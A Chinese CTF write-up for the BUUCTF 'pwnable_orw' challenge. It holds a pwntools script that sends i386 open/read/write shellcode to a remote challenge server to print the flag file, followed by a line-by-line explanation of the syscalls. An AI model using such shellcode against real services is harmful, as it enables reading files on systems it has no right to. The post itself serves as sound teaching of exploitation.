zoukankan      html  css  js  c++  java
  • BUU | pwnable_orw

    题解网上其他师傅已经写过了而且写的很详细,菜鸡只好写一下自己做题中的笔记


    Payload :

    #coding:utf-8
    from pwn  import *
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    p=remote('node3.buuoj.cn',28288)
    shellcode=""
    shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; mov ebx,esp;xor edx,edx;int 0x80;')
    shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
    shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
    recv = p.recvuntil(':')
    p.sendline(shellcode)
    flag = p.recv(100)
    print flag
    

     Shellcode解析:

    在文件读写之前,我们必须先打开文件。从应用程序的角度来看,这是通过标准库的open函数完成的,该函数返回一个文件描述符。内核中是由系统调用sys_open()函数完成。
    https://www.linuxidc.com/Linux/2012-02/54224.htm
    https://www.shiyanlou.com/courses/reports/1098951/
    https://blog.csdn.net/qq_35495684/article/details/80161177
    
    
    
    第一部分:实现
    --》char*file='flag';
    --》sys_open(file,0,0);
    
        xor ecx,ecx;
        mov eax,0x5;     # eax = sys_open
        push ecx;        # 字符串结尾"0"
        push 0x67616c66; # "flags" 
        mov ebx,esp;     # ebx = const char __user *filename
        xor edx,edx;     # edx  = int mode 设定权限的
        int 0x80;
        
    第二部分:实现
    --》sys_read(3,file,0x30);
    
        mov eax,0x3; # eax = sys_read
        mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
        mov ebx,0x3; # ebx = unsigned int fd = 3 文件描述符
        mov dl,0x30; # edx = size_t count 对应字节数
        int 0x80;
    
    '''
    fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
    buf:通常是一个字符串,需要写入的字符串
    count:是每次写入的字节数
    '''
    第三部分:实现
    --》sys_write(1,file,0x30);
    
        mov eax,0x4; # eax = sys_write
        mov bl,0x1;  # ebx = unsigned int fd = 1
        int 0x80;
    
  • 相关阅读:
    sprin AOP
    springDI注解
    Spring学习
    cookie、session、token三者之间的关系
    解决报错:Cannot find module 'webpack-cli/bin/config-yargs'
    Vue全家桶-前端工程化
    Vue全家桶-前端路由
    Vue
    Git
    Ajax
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/12323183.html
Copyright © 2011-2022 走看看